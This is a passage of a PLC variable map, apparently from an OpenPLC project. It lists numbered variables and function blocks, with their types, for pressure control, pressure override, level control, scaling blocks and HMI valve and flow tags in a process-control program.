+197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +331;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +332;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +333;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +334;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +335;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +336;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; 